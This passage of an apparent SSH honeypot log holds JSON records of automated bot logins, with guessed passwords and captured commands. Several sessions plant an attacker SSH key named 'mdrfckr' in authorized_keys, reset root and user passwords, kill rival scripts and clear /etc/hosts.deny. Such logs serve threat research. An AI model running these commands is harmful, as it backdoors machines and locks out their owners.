1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:43.232793+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:43.897675+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:44.225096+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:44.664283+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:44.993621+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:45.667378+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:45.999554+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:47.021343+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:47.349415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:48.448208+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"cb1cf88d-956b-478c-8b56-58bf2ccaa813","name":"arctic-distant-ouzel","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":60522,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:33.027216+00:00","ended_at":"2026-08-27T12:21:34.490931+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:21:14.902899+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:21:15.162742+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:21:18.872629+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:19.697276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:19.961785+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwer1234\\nlnga6z6timMs\\nlnga6z6timMs\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:21:20.223746+00:00","kind":"input","latency_ms":null,"data":"echo \"qwer1234\\nlnga6z6timMs\\nlnga6z6timMs\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:21:20.483314+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:21.095222+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:21.356027+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:22.551008+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:22.845666+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:24.342211+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:24.605933+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:24.883815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:25.145962+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:26.046163+00:00","kind":"output","latency_ms":null,"data":" 12:21:26 up 7 days, 9:11, 0 user, load average: 0.18, 0.2, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:26.310667+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:26.734604+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:26.996818+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:27.423893+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:27.687602+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:28.251558+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:28 up 7 days, 9:11, 0 user, load average: 0.18, 0.2, 0.19\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:28.521366+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:28.891485+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:29.163102+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:29.852083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:30.127157+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:30.489041+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T12:21:30.753266+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:32.765354+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:33.028034+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:34.414945+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"qwer1234","method":"password","accepted":true,"tier":"other"}]} {"id":"409f38cc-6831-4ef8-a575-98aa01aa17e5","name":"rapid-frugal-falcon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45978,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:32.977725+00:00","ended_at":"2026-08-27T12:21:34.112758+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"00fc180b-beab-4be6-911c-df99e10a1c9f","name":"feral-curious-galago","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45970,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:30.418729+00:00","ended_at":"2026-08-27T12:21:32.323012+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a0ad5f92-56bf-4336-afe4-a229c3791956","name":"painted-cunning-anteater","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":47886,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:16.996512+00:00","ended_at":"2026-08-27T12:21:18.796645+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5a07ff39-e5fb-4ef1-8ae6-f25237994c11","name":"arctic-airy-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59582,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":456,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:15.821042+00:00","ended_at":"2026-08-27T12:21:17.129068+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:20:54.203345+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:20:54.657724+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:59.667962+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:00.329867+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:00.790240+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tUakiAEKS0TS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:21:01.244162+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:21:01.702442+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:01.977465+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:02.433314+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:03.424963+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:03.883651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:05.056011+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:05.512963+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:06.057998+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:06.513283+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:06.980763+00:00","kind":"output","latency_ms":null,"data":" 12:21:06 up 7 days, 9:11, 0 user, load average: 0.26, 0.3, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:07.440457+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:08.248107+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:08.719460+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:09.360014+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:09.815112+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:10.387064+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:10 up 7 days, 9:11, 0 user, load average: 0.26, 0.3, 0.24\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:10.842013+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:11.604524+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:12.066142+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:12.498293+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:12.954031+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:13.576960+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:14.032742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:15.367187+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:15.821870+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:16.985711+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asd@123..","method":"password","accepted":true,"tier":"other"}]} {"id":"759961b7-75f6-4514-a053-98caf8052b15","name":"cheerful-primal-thrush","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":60536,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:21:15.750735+00:00","ended_at":"2026-08-27T12:21:16.475753+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a91ccc20-8ea6-4baf-bb5b-ebf14b1b5d42","name":"feral-thawing-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47744,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:10.503023+00:00","ended_at":"2026-08-27T12:21:12.216098+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:20:53.273178+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:20:53.574245+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:57.334003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:20:58.045815+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:20:58.345992+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XOJYU4slkJdE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:20:58.644499+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:20:58.943787+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:20:59.729860+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:00.033440+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:01.293467+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:01.598334+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:02.542252+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:02.844042+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:03.369259+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:03.668040+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:04.409321+00:00","kind":"output","latency_ms":null,"data":" 12:21:04 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:04.709391+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:04.962971+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:05.262788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:05.676890+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:05.977020+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:06.449151+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:06 up 7 days, 9:11, 0 user, load average: 0.13, 0.15, 0.1\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:06.750782+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:07.153948+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:07.455854+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:07.993186+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:08.292777+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:09.052281+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:09.351882+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:10.203857+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:10.503994+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:12.128169+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"expand","method":"password","accepted":true,"tier":"other"}]} {"id":"abc48663-ebb2-48cd-95e5-1257b94f7a0d","name":"upland-crisp-caracal","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59598,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:57.617180+00:00","ended_at":"2026-08-27T12:20:59.516048+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9e695520-55bd-4213-a27b-6412fa1745c7","name":"burly-wooded-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":42468,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:56.006166+00:00","ended_at":"2026-08-27T12:20:57.246261+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bb73b700-f716-4e8e-b0be-8d39abe9d3df","name":"wooded-deft-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59586,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:55.713306+00:00","ended_at":"2026-08-27T12:20:56.714436+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"56895441-faa4-478f-bf20-8e0a07bfd0fc","name":"loyal-earnest-llama","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":47758,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:20:54.242654+00:00","ended_at":"2026-08-27T12:20:55.421758+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d68e795d-0238-423e-96e6-2564f0322124","name":"granite-graceful-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":36960,"username":"jose","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":771,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:20:26.707624+00:00","ended_at":"2026-08-27T12:20:28.475440+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-27T12:19:58.464705+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:19:59.237110+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:07.142942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:20:07.451798+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:20:08.220143+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nOFIBKNKjQkCB\\nOFIBKNKjQkCB\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:20:08.995259+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nOFIBKNKjQkCB\\nOFIBKNKjQkCB\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:20:09.764255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 